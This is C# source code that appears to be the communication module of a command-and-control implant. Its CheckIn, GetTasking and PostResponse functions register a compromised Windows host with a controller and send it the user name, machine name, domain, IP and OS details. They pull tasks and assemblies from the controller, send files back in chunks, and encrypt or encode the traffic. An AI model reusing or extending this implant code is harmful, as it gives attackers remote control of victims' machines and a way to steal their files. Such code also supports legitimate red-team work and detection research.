public static bool PostResponse(Utils.JobList JobList)
{
try
{
Utils.PostResponse PostResponse = new Utils.PostResponse
{
action = "post_response",
responses = { }
};
foreach (Utils.Job Job in JobList.jobs)
{
if (Job.completed)
{
if (!Job.success)
{
Utils.TaskResponse TaskResponse = new Utils.TaskResponse
{
task_id = Job.task_id,
user_output = null,
status = "error",
completed = "false",
error = Job.response,
total_chunks = null,
full_path = null,
chunk_num = null,
chunk_data = null,
file_id = null
};
PostResponse.responses.Add(TaskResponse);
}
else if (Job.download)
{
if (Job.file_id == null)
{
Utils.TaskResponse TaskResponse = new Utils.TaskResponse
{
task_id = Job.task_id,
user_output = null,
status = null,
completed = null,
error = null,
total_chunks = Job.total_chunks,
full_path = Job.path,
chunk_num = null,
chunk_data = null,
file_id = null
};
PostResponse.responses.Add(TaskResponse);
}
else if (Job.chunk_num == Job.total_chunks)
{
Utils.TaskResponse TaskResponse = new Utils.TaskResponse
{
task_id = Job.task_id,
user_output = null,
status = null,
completed = "true",
error = null,
total_chunks = null,
full_path = null,
chunk_num = Job.chunk_num,
chunk_data = Job.chunks[0],
file_id = Job.file_id
};
PostResponse.responses.Add(TaskResponse);
}
else
{
Utils.TaskResponse TaskResponse = new Utils.TaskResponse
{
task_id = Job.task_id,
user_output = null,
status = null,
completed = null,
error = null,
total_chunks = null,
full_path = null,
chunk_num = Job.chunk_num,
chunk_data = Job.chunks[0],
file_id = Job.file_id
};
PostResponse.responses.Add(TaskResponse);
}
}
else if ((Job.total_chunks != 0) && (!Job.upload))
{
if (Job.chunk_num != Job.total_chunks)
{
Utils.TaskResponse TaskResponse = new Utils.TaskResponse
{
task_id = Job.task_id,
user_output = Job.chunks[0],
completed = "false",
error = null,
total_chunks = null,
full_path = null,
chunk_num = null,
chunk_data = null,
file_id = null
};
PostResponse.responses.Add(TaskResponse);
}
else
{
Utils.TaskResponse TaskResponse = new Utils.TaskResponse
{
task_id = Job.task_id,
user_output = Job.chunks[0],
completed = "true",
error = null,
total_chunks = null,
full_path = null,
chunk_num = null,
chunk_data = null,
file_id = null
};
PostResponse.responses.Add(TaskResponse);
}
}
else
{
Utils.TaskResponse TaskResponse = new Utils.TaskResponse
{
task_id = Job.task_id,
user_output = Job.response,
completed = "true",
error = null,
total_chunks = null,
full_path = null,
chunk_num = null,
chunk_data = null,
file_id = null
};
PostResponse.responses.Add(TaskResponse);
}
}
}
string Data = Utils.PostResponse.ToJson(PostResponse);
if (Data.Contains("[]"))
{
return(false);
}
#if DEFAULT
string SerializedData = Convert.ToBase64String(Encoding.UTF8.GetBytes(Config.UUID + Utils.PostResponse.ToJson(PostResponse)));
#elif (DEFAULT_PSK || DEFAULT_EKE)
string SerializedData = Crypto.Encrypt(Utils.PostResponse.ToJson(PostResponse));
#endif
string result = Post(SerializedData);
#if DEFAULT
string final_result = Encoding.UTF8.GetString(Convert.FromBase64String(result));
#elif (DEFAULT_PSK || DEFAULT_EKE)
string final_result = Crypto.Decrypt(result);
#endif
Utils.PostResponseResponse PostResponseResponse = Utils.PostResponseResponse.FromJson(final_result.Substring(36));
foreach (Utils.Response Response in PostResponseResponse.responses)
{
foreach (Utils.Job Job in JobList.jobs)
{
if (Job.completed)
{
if (Job.task_id == Response.task_id)
{
if (Response.status == "success")
{
if (Job.download)
{
if (Job.file_id == null)
{
Job.file_id = Response.file_id;
}
if (Job.total_chunks == Job.chunk_num)
{
Utils.RemoveJob(Job, JobList);
}
else
{
if (Job.chunks.Count != 0)
{
Job.completed = true;
Job.chunks.RemoveAt(0);
}
}
}
else if ((Job.total_chunks != 0) && (!Job.upload))
{
if (Job.chunk_num + 1 != Job.total_chunks)
{
Job.chunks.RemoveAt(0);
Job.chunk_num++;
}
else
{
Utils.RemoveJob(Job, JobList);
}
}
else
{
Utils.RemoveJob(Job, JobList);
}
}
}
}
}
}
return(true);
}
catch
{
return(false);
}
}
public static bool GetTasking(Utils.JobList JobList)
{
try
{
foreach (Utils.Job Job in JobList.jobs)
{
if (Job.upload)
{
if (Job.total_chunks != Job.chunk_num)
{
if (!Job.chunking_started)
{
Utils.UploadTasking UploadTasking = Utils.UploadTasking.FromJson(Job.parameters);
Job.file_id = UploadTasking.assembly_id;
Job.path = UploadTasking.remote_path;
Utils.Upload Upload = new Utils.Upload
{
action = "upload",
chunk_size = Config.ChunkSize,
file_id = Job.file_id,
chunk_num = Job.chunk_num,
full_path = Job.path,
task_id = Job.task_id
};
Utils.UploadResponse UploadResponse = Http.GetUpload(Upload);
Job.total_chunks = UploadResponse.total_chunks;
Job.chunks.Add(UploadResponse.chunk_data);
Job.chunking_started = true;
}
else
{
Job.chunk_num++;
Utils.Upload ChunkUpload = new Utils.Upload
{
action = "upload",
chunk_size = Config.ChunkSize,
file_id = Job.file_id,
chunk_num = Job.chunk_num,
full_path = Job.path,
task_id = Job.task_id
};
Utils.UploadResponse UploadResponse = Http.GetUpload(ChunkUpload);
Job.chunks.Add(UploadResponse.chunk_data);
}
}
}
}
Utils.GetTasking GetTasking = new Utils.GetTasking
{
action = "get_tasking",
tasking_size = 3
};
#if DEFAULT
string SerializedData = Convert.ToBase64String(Encoding.UTF8.GetBytes(Config.UUID + Utils.GetTasking.ToJson(GetTasking)));
#elif (DEFAULT_PSK || DEFAULT_EKE)
string SerializedData = Crypto.Encrypt(Utils.GetTasking.ToJson(GetTasking));
#endif
var result = Get(SerializedData);
#if DEFAULT
string final_result = Encoding.UTF8.GetString(Convert.FromBase64String(result));
#elif (DEFAULT_PSK || DEFAULT_EKE)
string final_result = Crypto.Decrypt(result);
#endif
if (final_result.Substring(0, 36) != Config.UUID)
{
return(false);
}
Utils.GetTaskingResponse GetTaskResponse = Utils.GetTaskingResponse.FromJson(final_result.Substring(36));
if (GetTaskResponse.tasks[0].command == "")
{
return(false);
}
foreach (Utils.Task task in GetTaskResponse.tasks)
{
Utils.Job Job = new Utils.Job
{
job_id = JobList.job_count,
task_id = task.id,
completed = false,
job_started = false,
success = false,
command = task.command,
parameters = task.parameters,
total_chunks = 0
};
if (Job.command == "loadassembly" || Job.command == "upload")
{
Job.upload = true;
Job.total_chunks = 2;
Job.chunk_num = 1;
}
else if (Job.command == "download")
{
Job.download = true;
}
else if (Job.command == "jobs")
{
Job.response = Modules.GetJobs(JobList);
Job.completed = true;
Job.success = true;
}
else if (Job.command == "jobkill")
{
if (Modules.KillJob(JobList, Int32.Parse(Job.parameters)))
{
Job.completed = true;
Job.success = true;
Job.response = "Job successfully removed";
}
else
{
Job.completed = true;
Job.success = false;
Job.response = "Could not remove job";
}
}
JobList.jobs.Add(Job);
++JobList.job_count;
}
return(true);
}
catch
{
return(false);
}
}
public static bool CheckIn()
{
try
{
#if DEFAULT_EKE
Crypto.GenRsaKeys();
Utils.GetStage GetStage = new Utils.GetStage
{
action = "staging_rsa",
pub_key = Crypto.GetPubKey(),
session_id = Utils.GetSessionId()
};
Config.SessionId = GetStage.session_id;
string SerializedData = Crypto.EncryptStage(Utils.GetStage.ToJson(GetStage));
var result = Get(SerializedData);
string final_result = Crypto.Decrypt(result);
Utils.StageResponse StageResponse = Utils.StageResponse.FromJson(final_result);
Config.tempUUID = StageResponse.uuid;
Config.Psk = Convert.ToBase64String(Crypto.RsaDecrypt(Convert.FromBase64String(StageResponse.session_key)));
#endif
Utils.CheckIn CheckIn = new Utils.CheckIn
{
action = "checkin",
ip = Utils.GetIPAddress(),
os = Registry.GetValue(@"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion", "ProductName", "").ToString() + " " + Registry.GetValue(@"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion", "ReleaseId", ""),
user = Environment.UserName.ToString(),
host = Environment.MachineName.ToString(),
domain = Environment.UserDomainName.ToString(),
pid = Process.GetCurrentProcess().Id,
uuid = Config.PayloadUUID,
architecture = Utils.GetArch()
};
#if DEFAULT
string FinalSerializedData = Convert.ToBase64String(Encoding.UTF8.GetBytes(Config.PayloadUUID + Utils.CheckIn.ToJson(CheckIn)));
#elif (DEFAULT_PSK || DEFAULT_EKE)
string FinalSerializedData = Crypto.EncryptCheckin(Utils.CheckIn.ToJson(CheckIn));
#endif
var new_result = Get(FinalSerializedData);
#if (DEFAULT_PSK || DEFAULT_EKE)
string last_result = Crypto.Decrypt(new_result);
#endif
#if DEFAULT
Utils.CheckInResponse CheckInResponse = Utils.CheckInResponse.FromJson(new_result);
#elif (DEFAULT_PSK || DEFAULT_EKE)
Utils.CheckInResponse CheckInResponse = Utils.CheckInResponse.FromJson(last_result);
#endif
Config.UUID = CheckInResponse.id;
if (CheckInResponse.status == "success")
{
return(true);
}
else
{
return(false);
}
}
catch
{
return(false);
}
}
